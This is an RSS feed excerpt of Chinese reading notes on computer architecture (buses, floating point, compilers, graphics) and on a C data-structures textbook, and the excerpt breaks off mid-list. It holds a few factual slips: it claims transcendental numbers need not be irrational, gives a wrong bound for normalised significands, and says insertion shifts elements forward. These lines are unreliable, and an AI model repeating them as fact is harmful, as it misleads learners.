&lt;p&gt;回车符使得打印头换行并转移至当前页面的最左端；换行符使打印头转移至当前位置下一行。&lt;/p&gt;
&lt;p&gt;回车符通常用来另起一行继续打印，换行符通常在不需要移到页面最左端而换行时使用。&lt;/p&gt;
&lt;h2&gt;第二十一章 总线&lt;/h2&gt;
&lt;p&gt;计算机中各部件按照功能被分别安装在两个或更多的电路板上，这些电路板之间通过总线通信。总线是
数字信号的集合，这些信号被提供给计算机上的每块电路板。&lt;/p&gt;
&lt;p&gt;信号分类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;地址信号：这些信号由微处理器产生，通常用来对 RAM 进行寻址操作，也可以用来对连接到计算机的
其它设备进行寻址操作。计算机能容纳的最大内存由 CPU 决定，而 CPU 由地址总线可寻址范围决定。&lt;/li&gt;
&lt;li&gt;数据输出信号：由微处理器产生，用来把数据写入到 RAM 或其它设备。来自微处理器的数据输出信号
会变成 RAM 和其它设备的数据输入信号。&lt;/li&gt;
&lt;li&gt;数据输入信号：由计算机的其它部分提供，并由微处理器读取。数据输入信号由 RAM 输出，这就解释了
微处理器是怎样从内存中读取内容的。其它部件也可以给微处理器提供数据输入信号。&lt;/li&gt;
&lt;li&gt;控制信号：控制信号可以产生于微处理器，也可以由与微处理器通信的其它设备产生。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总线还可以为计算机上不同电路板供电。&lt;/p&gt;
&lt;p&gt;直接存储器访问（DMA）请求信号，可以使存储设备快速地执行存储操作。其它设备也可以不通过微处理器
而获得总线的控制权，进而直接对内存进行读写。&lt;/p&gt;
&lt;p&gt;如果设计出来的总线不适合高速传输的话，就会出现射频干扰，这会使得附近的收音机和电视机产生静电或其它噪声。&lt;/p&gt;
&lt;p&gt;RAM 阵列能存放的数据的数量是和地址输入信号的个数有关的：RAM 阵列中数字的个数 = 2^地址信号的个数&lt;/p&gt;
&lt;p&gt;数据输入、输出信号决定着所存储的数字的大小（位数）。&lt;/p&gt;
&lt;p&gt;访问时间：指从芯片接收到地址信息到输出有效数据所需时间。&lt;/p&gt;
&lt;p&gt;电压的不确定性：一个集成电路的输出为 1，另一个集成电路的输出为 0。如果把这两个输出
连接在一起，结果是无法确定的。&lt;/p&gt;
&lt;p&gt;几乎所有连接在总线上的器件都使用由总线传递而来的数据输入信号，但不管何时，连接在总线上的
电路板中只有一个能确定总线数据输入信号的类型，其它电路板处于三种状态中的无效状态。&lt;/p&gt;
&lt;p&gt;DRAM 芯片在使用时需要定期访问其存储器中的内容，尽管有时并不需要这些内容。该过程被称为更新周期，
每秒钟都必须进行几百次。就好像为了不让某人睡觉而每隔一段时间就用手肘清退他一样。&lt;/p&gt;
&lt;p&gt;称连接到计算机上的 CRT 为视频显示器，而称可以为视频显示器提供信号的电子元件为视频适配器，即显卡。&lt;/p&gt;
&lt;p&gt;在通信领域，带宽是极其重要的概念，某个特定的传输媒介能够传输的信息量都是受带宽限制的。&lt;/p&gt;
&lt;p&gt;只读存储器（ROM）：它是一种集成电路，在生产时就已经填入数据，固定的地址输出的数据是不变的，且 ROM 中
并没有数据输入信号。&lt;/p&gt;
&lt;p&gt;1 位是和 1 个像素对应的，只能用来表示两种颜色，如：黑和白。&lt;/p&gt;
&lt;p&gt;每种颜色都是由红、绿、蓝三原色的不同组合而形成的。为了获取所有颜色，三原色中每个颜色的强度
都需要一个字节来表示。&lt;/p&gt;
&lt;p&gt;颜色数量 = 2^每个像素赋予的比特数&lt;/p&gt;
&lt;p&gt;屏幕长宽比：图像的宽和高之比。&lt;/p&gt;
&lt;p&gt;正方形像素：100 个像素的水平线和 100 个像素的垂直线有着相同的物理长度。&lt;/p&gt;
&lt;p&gt;对于想要长期保存的文件，磁带还是首要选择。&lt;/p&gt;
&lt;p&gt;磁盘分为软盘和硬盘。&lt;/p&gt;
&lt;p&gt;硬盘围绕其中心旋转，连到臂上的一个或多个磁头从硬盘外沿向中间移动，通过磁头可以快速访问硬盘上的任何区域。
表面被划分成许多同心圆，称为磁道。每个磁道又被划分成像圆饼切片形状的扇区，每个扇区可以存放一定数量的字节，
通常为 512 字节。&lt;/p&gt;
&lt;p&gt;DMA 可以不经过微处理器，在总线上实现数据在随机访问存储器和硬盘之间直接传送，这样的传送
是以块为单位的，每次传输的块大小是磁盘扇区字节数的倍数，通常是 512 字节。&lt;/p&gt;
&lt;p&gt;memory（内存）表示半导体随机访问存储器；storage（存储器）用来指任何的存储设备，通常包括
软盘、硬盘和磁带。&lt;/p&gt;
&lt;p&gt;存储的信息是否易失是随机访问存储器和磁介质存储器的主要区别：随机访问存储器是易失性存储器，
一旦掉电，存储内容就会消失；而磁介质存储器是永久性存储设备，除非故意删除或写覆盖，否则
数据将会一直保留不变。&lt;/p&gt;
&lt;p&gt;当微处理器发出一个地址信号，通常是寻址随机访问存储器而非磁介质存储器。&lt;/p&gt;
&lt;p&gt;微处理器不能直接从磁盘读取数据，需要将所需的数据从磁盘调入内存（随机访问存储器），然后它才能对其访问。
微处理器还需要执行一段小程序，这段程序会访问磁盘，并将数据从磁盘调入内存。&lt;/p&gt;
&lt;h2&gt;第二十二章 操作系统&lt;/h2&gt;
&lt;p&gt;当一个微处理器首次上电或复位时，它会从特定的内存地址开始执行机器代码。&lt;/p&gt;
&lt;p&gt;键盘响应中断过程：每次有按键按下的时候，就会产生一个中断信号送至微处理器。计算机内有中断控制芯片，
通过执行一条 RST 指令使得微处理器响应这次中断，例如：RST 1，微处理器执行这条指令，把当前程序计数器
的值压入到堆栈中，然后跳转到地址 0008h 处。可以直接在这片地址空间上输入一些代码，这些代码被称为
键盘处理程序。&lt;/p&gt;
&lt;p&gt;可编程只读存储器（PROM）：只能编程一次；而可擦除可编程只读存储器（EPROM）可重复擦除和写入，该芯片
的正面开有一个玻璃窗口，让紫外线透过这个孔照射内部芯片就可以擦除其中的内容了。&lt;/p&gt;
&lt;p&gt;文件系统是磁盘存储的一种方法，就是把数据组织成文件。文件就是相关数据的集合，占用磁盘上一个或多个扇区。&lt;/p&gt;
&lt;p&gt;文件以及读取这些文件所需的所有信息都存储在磁盘上。&lt;/p&gt;
&lt;p&gt;文件存储在磁盘中不一定要占据连续的扇区空间。&lt;/p&gt;
&lt;p&gt;引导程序：操作系统的其余部分可以通过这段代码的自举操作被高效地引导。&lt;/p&gt;
&lt;p&gt;FAT（文件分配表）的基本思想是：将磁盘空间分成簇，簇的大小由磁盘空间的大小决定，每个文件
占用若干簇。文件的目录项只记录文件起始簇的位置，而磁盘上每一簇的下一簇的位置由 FAT 来记录。&lt;/p&gt;
&lt;p&gt;Unix 思想：人们都使用文本文件作为公用文件形式，许多 Unix 实用程序读取文本文件，利用它提供的一些
功能做些处理，然后将其写入另一个文本文件。因此可以用链的形式来组织 Unix 实用程序，然后对这些
文本文件做相应的处理。&lt;/p&gt;
&lt;p&gt;时分复用技术：这种技术允许多个用户同时与计算机进行交互。&lt;/p&gt;
&lt;p&gt;多任务操作系统：可以在该系统上同时运行多个任务。&lt;/p&gt;
&lt;p&gt;内存管理：考虑内存的分配问题。&lt;/p&gt;
&lt;p&gt;虚拟内存：在磁盘上划出部分空间用做保存临时文件，程序把暂时不需要用的内存块放到临时文件里，待需要时再把它调入内存。&lt;/p&gt;
&lt;h2&gt;第二十三章 定点数和浮点数&lt;/h2&gt;
&lt;p&gt;实数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;有理数（分数）：小数点后有规律（整数的比）；自然数（正整数）：包括 0。&lt;/li&gt;
&lt;li&gt;无理数：小数点后无规律；超越数（pi, e）：不是任何以整数为系数的代数方程解；无理数有可能是超越数，超越数不一定是无理数。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;虚数：负数的平方根。&lt;/p&gt;
&lt;p&gt;复数：实数+虚数。&lt;/p&gt;
&lt;p&gt;浮点数：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;32 位：约等于 10^7。&lt;/li&gt;
&lt;li&gt;64 位：约等于 10^13。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在十进制数字系统中，在小数点左边的数的每一位都和 10 的正整数次幂相关，而其右边的数的每一位
都和 10 的负整数次幂相关。&lt;/p&gt;
&lt;p&gt;数字计算机只能处理离散数据，二进制数的位数直接决定了所能表示的离散数值的个数。&lt;/p&gt;
&lt;p&gt;定点格式：小数点的位置总是在数的某个特定位置，而且有关小数点位置的信息并没有和整个数字一起存储。
使用该格式的程序需要决定。在非常大或非常小的数字中使用定点格式是不合适的。&lt;/p&gt;
&lt;p&gt;科学计数法：把每个数表示成有效位与 10 的幂的乘积的形式，这样就可以避免写一长串的 0，所以特别
适合极大或极小的数。分成两部分：有效数和指数。&lt;/p&gt;
&lt;p&gt;指数可以表明小数点相对于有效数移动的距离，指数的正负性只是表明了数的大小，它并不能指明数本身的正负性。&lt;/p&gt;
&lt;p&gt;科学计数法的规范化式：规定有效数的取值范围是大于或等于 1，而小于 0。&lt;/p&gt;
&lt;p&gt;浮点数基于科学计数法，借助二进制数实现。&lt;/p&gt;
&lt;p&gt;在二进制中，二进制小数点右边的数字和 2 的负整数次幂相关。&lt;/p&gt;
&lt;p&gt;在二进制的科学计数法的规范化中，有效数应该大于或等于 1 且小于 10（即十进制的2），
因此规范化后小数点的左边通常只有一个 1，除此之外没有其它数字（有 0 的话可以忽略，因此一定只有 1）。&lt;/p&gt;
&lt;p&gt;IEEE 浮点数标准定义了两种基本格式：以 4 字节表示的单精度格式和以 8 字节表示的双精度格式。&lt;/p&gt;
&lt;p&gt;单精度格式的 4 个字节可以分为三个部分：1 位的符号位（0 代表正数，1 代表负数），8 位用做指数，最后 23 位用做有效数。&lt;/p&gt;
&lt;p&gt;对于二进制科学计数法的规范化式，其有效数的小数点左边有且仅有一个 1，因此在 IEEE 浮点数
标准中，这一位没有分配存储空间。在该标准中，仅存储有效数的 23 位小数部分，进过存储的只有 23 位，
但仍然称其精度为 24 位。&lt;/p&gt;
&lt;p&gt;8 位指数部分的取值范围是 0~255，称为偏移指数，它的意思是：对于有符号指数，为了确定其实际所
代表的值必须从指数中减去一个值，该值称做偏移量。对于单精度浮点数，其偏移量为 127。&lt;/p&gt;
&lt;p&gt;指数 0 和 255 用于特殊的目的，如果指数的取值范围是 1~254，那么对于一个特定的数，
可以用 s（符号位）、e（指数）和f（有效数）来描述它：&lt;code&gt;(-1)^s * 1.f * 2^(e-127)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;-1 的 s 次幂是数学上所采用的一种巧妙方法，含义是：如果 s = 0，
则该数是正的（因为任何数的 0 次幂都是 1）；如果 s = 1，则该数是负的（因为 -1 的 1 次幂等于 -1）。&lt;/p&gt;
&lt;p&gt;表达式的中间部分是 1.f，其含义是：1 的后面是小数点，小数点后面跟着 23 位的有效数。&lt;/p&gt;
&lt;p&gt;1.2f 与 2 的幂相乘，其中指数等于内存中的 8 位 的偏移指数减去 127。&lt;/p&gt;
&lt;p&gt;特殊情况：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果 e = 0 且 f = 0，则该数为 0。在这种情况下，通常把 32 位都设置为 0 以表示该数为 0。
但是符号位可以设置为 1，这种数可以解释为负 0。负 0 可以用来表示非常小的数，这些数极小
以至于不能在单精度格式下用数字和指数来表示，但它们仍然小于 0。&lt;/li&gt;
&lt;li&gt;如果 e = 0 且 f != 0，则该数是合法的，但不是规范化的。
表示为：&lt;code&gt;(-1)^s * 0.f * 2^(-127)&lt;/code&gt;，在有效数中，小数点的左边是 0。&lt;/li&gt;
&lt;li&gt;如果 e = 255 且 f = 0，则该数被解释为无穷大或无穷小，这取决于符号位 s 的值。&lt;/li&gt;
&lt;li&gt;如果 e = 255 且 f != 0，则该数被解释为“不是一个数”，缩写为 NaN，用来表示未知的数或
非法操作的结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;负指数小数点左移；正指数小数点右移。&lt;/p&gt;
&lt;p&gt;这意味着在单精度浮点格式下，16,777,216 和 16,777,217 将表示成同一个数。不仅如此，处于
这两个数之间的所有的数（如：16,777,216.5）也将被表示成同一个数。这是因为它们转换成二进制后
都是相等的。&lt;/p&gt;
&lt;p&gt;双精度浮点数：用 8 个字节来表示，分为：1 位符号位、11 位指数位和 52 位有效数。&lt;/p&gt;
&lt;p&gt;双精度浮点数的指数偏移量是 1023，表示为：&lt;code&gt;(-1)^s * 1.f * 2^(e-1023)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;关于单精度格式下的 0，无穷大（小）和 NaN 的规则通用适用于双精度。&lt;/p&gt;
&lt;p&gt;双精度的有效数有 53 位（包括前面没有列出的那一位），大致相当于十进制的 16 位。&lt;/p&gt;
&lt;p&gt;浮点数加法中最重要的一点就是如果对有效数相加，为了能使它们的有效位匹配，需要利用指数来确定
对其如何移位。&lt;/p&gt;
&lt;p&gt;两个浮点数的乘法意味着要把有效数当做整数相乘，并且把指数部分相加。为了使结果规范化，一般需要
对指数调整一到两次。&lt;/p&gt;
&lt;p&gt;浮点数的平方根、指数、对数和三角函数，都可以通过加减乘除这四种基本的运算来实现。&lt;/p&gt;
&lt;p&gt;阶乘运算：把从 1 到该数之间的所有整数相乘，如：&lt;code&gt;5! = 1*2*3*4*5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;数学协同处理器，即浮点运算单元（FPU）。&lt;/p&gt;
&lt;p&gt;如果机器上安装了数学协处理器，程序员就要学会编写相应的应用程序以支持它的运行；如果没有安装，
程序员就要通过编程来模拟它进行浮点数运算。&lt;/p&gt;
&lt;h2&gt;第二十四章 高级语言与低级语言&lt;/h2&gt;
&lt;p&gt;像 ASM.COM 这样的汇编器程序所做的工作是：读取一个汇编语言文件（源代码文件），将其转换得到一个
包含机器码的文件，即可执行文件。&lt;/p&gt;
&lt;p&gt;构成汇编语言的助记符和机器码之间是一一对应的。汇编器拥有一张包括所有可能助记符及其参数的表，它
逐行读取汇编语言程序，把每一行都分解成为助记符和参数，然后把这些短小的单词和字符与表中内容匹配。
通过这种匹配的过程，每一个语句都会找到与其对应的机器码指令。&lt;/p&gt;
&lt;p&gt;第一个编写汇编器的人需要手工对程序汇编。如果要为机器写一个新的汇编器（或对其修改），则可以
使用汇编语言编写该程序，然后使用原来的汇编器对其汇编。一旦新的汇编器通过了汇编，则它也就可以
对自身进行汇编，这就是自举。&lt;/p&gt;
&lt;p&gt;交叉汇编：新的汇编器可以在已有的计算机上编写，并利用其汇编器进行汇编，即利用计算机 A 的汇编器
对运行在计算机 B 上的程序汇编。&lt;/p&gt;
&lt;p&gt;缺点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用汇编语言编程非常乏味，因为这是在微处理器芯片级的编程，因此不得不考虑每一个微小的细节。&lt;/li&gt;
&lt;li&gt;不可移植。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;汇编语言被称为低级语言，因为它和计算机硬件的关系相当紧密。&lt;/p&gt;
&lt;p&gt;定义高级语言，包括定义语言的语法来表达该语言可以描述的一切事物，还要为其编写一个编译器，可以将
高级语言的程序语句转换为机器码指令。&lt;/p&gt;
&lt;p&gt;如果要在不同类型的处理器上运行程序，则需要用处理器对应的编译器将程序转换成对应的机器码，因此，
最后生成的可执行文件仍然只适用于特定的处理器。&lt;/p&gt;
&lt;p&gt;从高级语言程序生成的可执行程序比相同功能的汇编语言程序更大，并且运行速度也更慢。近年来已经
不再明显，因为微处理器变得更加复杂，而且编译器在优化代码方面也更加成熟。&lt;/p&gt;
&lt;p&gt;如果某种高级语言具有真正意义的可移植性，那么它将不能使用某些处理器的特有功能。&lt;/p&gt;
&lt;p&gt;许多现代编译器都是利用处理器的移位指令来实现乘以或除以 2 的幂。&lt;/p&gt;
&lt;p&gt;流水线技术使得汇编语言变得更加复杂且不易处理。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;语法错误&lt;/li&gt;
&lt;li&gt;运行时错误：编译器不能检查出这个错误，程序被执行时才出现的错误&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;素数是只能被 1 及其本身整除的一类整数。第一个素数是 2（也是唯一的偶数素数），其它素数还包括
3，5，7，11，13，17，等等。&lt;/p&gt;
&lt;p&gt;寻找素数的算法：爱拉托逊斯筛法。以 2 开始的整数表开始，因为 2 是素数，因此所有可以被 2 整除
的数都被排除掉（即除了 2 之外的全部偶数）。接下来是 3，因为 3 是素数，因此所有可以被 3 整除
的数也被排除掉。因为 4 在第一个步骤中已经被排除掉，所以下一个要考虑的数是 5，即排除
所有 5 的倍数。按这种方式不断循环，最后剩下的都是素数。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;第一个 for 循环将数组 a 的每一个元素的初始值设置为布尔值 true。这里的 true 表示该位置
的数是素数，因此现在程序默认所有的数都是素数。&lt;/li&gt;
&lt;li&gt;第二个 for 循环的范围是 1~100（100 刚好是 10000 的平方根）。在该循环中，如果判断条件
成立，则该数为素数，即 a[i] 为 true。第三个 for 循环则会把该数的所有小于或等于 10000 的
倍数（除了其本身）设置为 false，因为这些数都不是素数。&lt;/li&gt;
&lt;li&gt;最后的 for 循环用来输出所有的素数，即 a[i] 为 true 的数。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;编译器读取源文件并生成一个可执行文件，而解释器边读边执行源文件，不会产生新的文件。解释器的原理
比编译器的简单一些，更容易编写，但其运行程序的速度要比后者要慢。&lt;/p&gt;
&lt;h2&gt;第二十五章 图形化革命&lt;/h2&gt;
&lt;p&gt;640（水平） * 480（垂直）&lt;/p&gt;
&lt;p&gt;在计算机内部，有一块专门供视频显示器使用的内存区域，屏幕上的每一个像素点由 1 个或多个比特表示。
这些二进制数值不仅决定了像素点的亮度，还决定了它的颜色。&lt;/p&gt;
&lt;p&gt;红绿组合出黄色，红蓝组合出品红色，蓝绿组合是青色，三原色组合出白色。&lt;/p&gt;
&lt;p&gt;高彩色：为每个像素赋予 2 个字节的存储空间，这样一来，可以给每一个原色分配 5 位（1 位保留）
存储空间，这种方法可以使得每种颜色具备 32（2^5）种不同的色阶，
这样算下来总共有：&lt;code&gt;3*5=15 2^15=32,768&lt;/code&gt; 种不同的颜色。&lt;/p&gt;
&lt;p&gt;全彩色：用 3 个字节来表示一个像素，三原色中的每一种各占一个字节。这种编码模式使红、绿、蓝各自
呈现出 256 种不同的色阶，这样算下来共有 16,777,216 种不同的颜色。&lt;/p&gt;
&lt;p&gt;色深（色彩分辨率）：每个像素所赋予的比特数。&lt;code&gt;颜色数 = 2^每个像素所赋予的比特数&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;在冯诺依曼计算机的体系结构中，只有两种元素，一种是机器码，另一种是机器码所操作的数据。&lt;/p&gt;
&lt;p&gt;对象实际上是代码和数据的组合。在对象内部，与其相关联的代码决定了数据存在的意义，
要理解数据的存储方式首先需要理解代码。对象如果需要与其它对象通信，则通过发送或接收消息来
实现这一过程，比如一个对象可以通过给另一个对象发送指令来获得相应信息。&lt;/p&gt;
&lt;p&gt;计算机图形的两种分支：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;矢量图形：在一些算法的帮助下，利用直线、曲线及填充区域生成图形。也正是计算机辅助设计（）所
应用的领域。矢量图形一般转化为图元文件格式以存放到文件中。图元文件是由生成矢量图形的一系列
绘制命令的集合组成的，这些命令通常已经被编码为二进制形式。矢量图形的主要工具就是直线、曲线及
填充区域。&lt;/li&gt;
&lt;li&gt;光栅图形（位图）：将图像以矩阵阵列的形式进行编码，阵列中的一个单位对应着输出设备上的一个
像素点。就像视频显示器一样，位图是一种空间上的概念（可以称其具有分辨率），其图像的宽度和
高度都以像素为单位来表示。位图也具备色深（颜色分辨率或颜色深度）的概念，色深是指每一个像素
被赋予的比特数。位图中每个像素被赋予的比特数相同。从表现形式上看是二维的，但其本身的存储形式
却是一串连续的字节，通常从最顶端 1 行像素开始，紧跟着的是第 2 行、第 3 行，等等。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Internet 从本质上来讲是一组协议的集合，这些协议是计算机之间相互通信的保证。众多的协议中，
最重要的当属 TCP/IP 协议，它包括了传输控制协议（）和网际协议（）。这种协议使得传输过程
变得规则化，不再是简单地通过线路传输 ASCII 码字符，而由基于 TCP/IP 协议的传输系统把大的
数据块分割成小的包，之后在传输线路上（通常是电话线）独立发送，最后在传输线路的另一端
将数据重新组装起来。&lt;/p&gt;
&lt;p&gt;Java 介于编译语言和解释语言之间，它需要经过编译，但编译的结果不是机器码，而是 Java 字节码。
Java 字节码与机器码在结构上很相似，但 Java 字节码可以在一种虚拟的计算机下被解释，
即 Java 虚拟机（JVM）上。被编译的 Java 程序产生 Java 字节码，之后计算机模拟 JVM 对其
进行解释。Java 程序的运行可以不受限于机器与图形操作系统的类型，所以它具有平台无关性。&lt;/p&gt;
&lt;p&gt;利用电流在线路上传输信号和信息：光纤，一种由玻璃或聚合体制造的光导纤维，通过从不同角度对光
进行反射达到光传输效果。光信号在光纤中的传输速率可以达到千兆赫兹，即每秒十亿个比特。&lt;/p&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】数据结构（C语言版）（第三版）人民邮电出版社</title><link>https://www.sulinehk.com/post/note-for-data-structure-c-language-version/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-data-structure-c-language-version/</guid><pubDate>Mon, 02 May 2022 07:23:08 GMT</pubDate><content:encoded>&lt;h2&gt;第一章 概论&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;数据：
&lt;ul&gt;
&lt;li&gt;逻辑结构：数据与数据之间所存在的逻辑关系&lt;/li&gt;
&lt;li&gt;存储结构：数据在计算机中的存储结构，体现逻辑结构&lt;/li&gt;
&lt;li&gt;运算集合：由为数据定义的所有运算构成，定义在逻辑结构上，实现依赖于存储结构&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;结点：
&lt;ul&gt;
&lt;li&gt;开始结点：无前驱结点&lt;/li&gt;
&lt;li&gt;内部结点：不是开始结点，也不是终端结点&lt;/li&gt;
&lt;li&gt;终端结点：无后继结点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;线性结构：只有一个开始和终端，其余每个结点有且仅有一个前驱和后继&lt;/li&gt;
&lt;li&gt;非线性结构：
&lt;ul&gt;
&lt;li&gt;树型结构：一个开始，多个终端，除开始外都有且只有一个前驱&lt;/li&gt;
&lt;li&gt;图形结构：多个前驱，多个后继&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;存储结构：
&lt;ul&gt;
&lt;li&gt;顺序存储：物理位置相邻&lt;/li&gt;
&lt;li&gt;链式存储：每个结点有若干个指针&lt;/li&gt;
&lt;li&gt;索引存储：根据结点索引号确定存储地址&lt;/li&gt;
&lt;li&gt;散列存储：结点 &lt;code&gt;k_i&lt;/code&gt; 的存储地址有函数 &lt;code&gt;h(k_i)&lt;/code&gt; 确定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;数据的抽象发展阶段：
&lt;ol&gt;
&lt;li&gt;无类型的二进制数：基本数据类型&lt;/li&gt;
&lt;li&gt;基本：用户自定义类型&lt;/li&gt;
&lt;li&gt;自定义：抽象数据类型&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;数据类型：
&lt;ul&gt;
&lt;li&gt;数据属性&lt;/li&gt;
&lt;li&gt;在这些数据上可施加的运算集合&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;算法：求解问题的一种方法或一个过程
&lt;ul&gt;
&lt;li&gt;特征：有穷性；确定性；输入；输出；可行性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;时间复杂度：用算法执行过程中基本操作的执行次数来衡量
&lt;ul&gt;
&lt;li&gt;O(1) 常数阶&lt;/li&gt;
&lt;li&gt;O(log_2n) 对数阶&lt;/li&gt;
&lt;li&gt;O(n) 线性阶&lt;/li&gt;
&lt;li&gt;O(n^2) 平方阶&lt;/li&gt;
&lt;li&gt;O(n^3) 立方阶&lt;/li&gt;
&lt;li&gt;O(n^k) k 次方阶&lt;/li&gt;
&lt;li&gt;O(2^n) 指数阶&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第二章 线性表及其顺序存储&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;线性表：线性结构
&lt;ul&gt;
&lt;li&gt;顺序存储：顺序表&lt;/li&gt;
&lt;li&gt;链式存储：链式表&lt;/li&gt;
&lt;li&gt;实现（边界条件）：
&lt;ul&gt;
&lt;li&gt;插入：考虑满的情况&lt;/li&gt;
&lt;li&gt;删除：考虑空的情况&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;顺序表：结点存储的地址连续
&lt;ul&gt;
&lt;li&gt;随机访问：只要知道第一个结点，就可以任意访问其余结点&lt;/li&gt;
&lt;li&gt;操作：
&lt;ul&gt;
&lt;li&gt;插入：O(n)：要把新结点后的元素依次前移一个位置&lt;/li&gt;
&lt;li&gt;删除：O(n)：要把被删除结点后的元素依次前移一个位置&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;栈：特殊线性表
&lt;ul&gt;
&lt;li&gt;特点：
&lt;ul&gt;
&lt;li&gt;只允许在同一端（栈顶或栈底）插入（进栈）和删除（出栈）&lt;/li&gt;
&lt;li&gt;后进先出（LIFO）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;实现：
&lt;ul&gt;
&lt;li&gt;顺序存储：顺序栈，用数组表示&lt;/li&gt;
&lt;li&gt;链式存储：链式栈&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;应用：
&lt;ul&gt;
&lt;li&gt;括号匹配&lt;/li&gt;
&lt;li&gt;算术表达式求值：后缀表达式&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;队列：特殊线性表
&lt;ul&gt;
&lt;li&gt;特点：
&lt;ul&gt;
&lt;li&gt;插入（进队）和删除（出队）分别在两端（队首或队尾）进行&lt;/li&gt;
&lt;li&gt;先进先出（FIFO）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;实现：
&lt;ul&gt;
&lt;li&gt;顺序存储
&lt;ul&gt;
&lt;li&gt;循环队列：把队首和队尾元素视为相邻
&lt;ul&gt;
&lt;li&gt;队列满的条件：&lt;code&gt;(rear+1) % MAXSIZE == front&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;队列空的条件：&lt;code&gt;rear == front&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;插入删除时指针加 1 时，需增加取模操作&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链式存储&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;整数取余或模：
&lt;ol&gt;
&lt;li&gt;先求商（整数）：&lt;code&gt;c = a / b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;再求余或模：&lt;code&gt;r = a - cb&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第三章 线性表的链式存储&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;链式存储：
&lt;ul&gt;
&lt;li&gt;用附设指针来体现结点之间的逻辑关系&lt;/li&gt;
&lt;li&gt;必须有一个指针指向第一个结点的存储位置，否则各个结点都无法访问&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;单链表：
&lt;ul&gt;
&lt;li&gt;结构：
&lt;ul&gt;
&lt;li&gt;存放数据的域&lt;/li&gt;
&lt;li&gt;指向该结点后继结点的指针域&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;无法随机访问，必须从第一个结点开始沿着指针向后遍历&lt;/li&gt;
&lt;li&gt;插入删除无需移动结点&lt;/li&gt;
&lt;li&gt;插入删除时需考虑结点为第一个结点的情况&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;带头结点的单链表：
&lt;ul&gt;
&lt;li&gt;头结点：指向第一个实际结点的结点，不存放数据&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;循环单链表：
&lt;ul&gt;
&lt;li&gt;功能：可从任意结点开始访问到任意结点&lt;/li&gt;
&lt;li&gt;实现：最后结点指针域指向第一个结点&lt;/li&gt;
&lt;li&gt;当前结点为最后结点的特征：下个元素是第一个元素&lt;/li&gt;
&lt;li&gt;增加头结点：带头结点的循环单链表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;双链表：
&lt;ul&gt;
&lt;li&gt;结构：
&lt;ul&gt;
&lt;li&gt;存放数据的域&lt;/li&gt;
&lt;li&gt;两个指针分别指向该结点的前驱和后继&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;第一个结点没有前驱，左指针域为空&lt;/li&gt;
&lt;li&gt;最后的结点没有后继，右指针域为空&lt;/li&gt;
&lt;li&gt;操作：
&lt;ul&gt;
&lt;li&gt;插入：
&lt;ul&gt;
&lt;li&gt;最前面插入&lt;/li&gt;
&lt;li&gt;中间插入&lt;/li&gt;
&lt;li&gt;最后面插入&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;删除：
&lt;ul&gt;
&lt;li&gt;唯一结点&lt;/li&gt;
&lt;li&gt;第一个结点&lt;/li&gt;
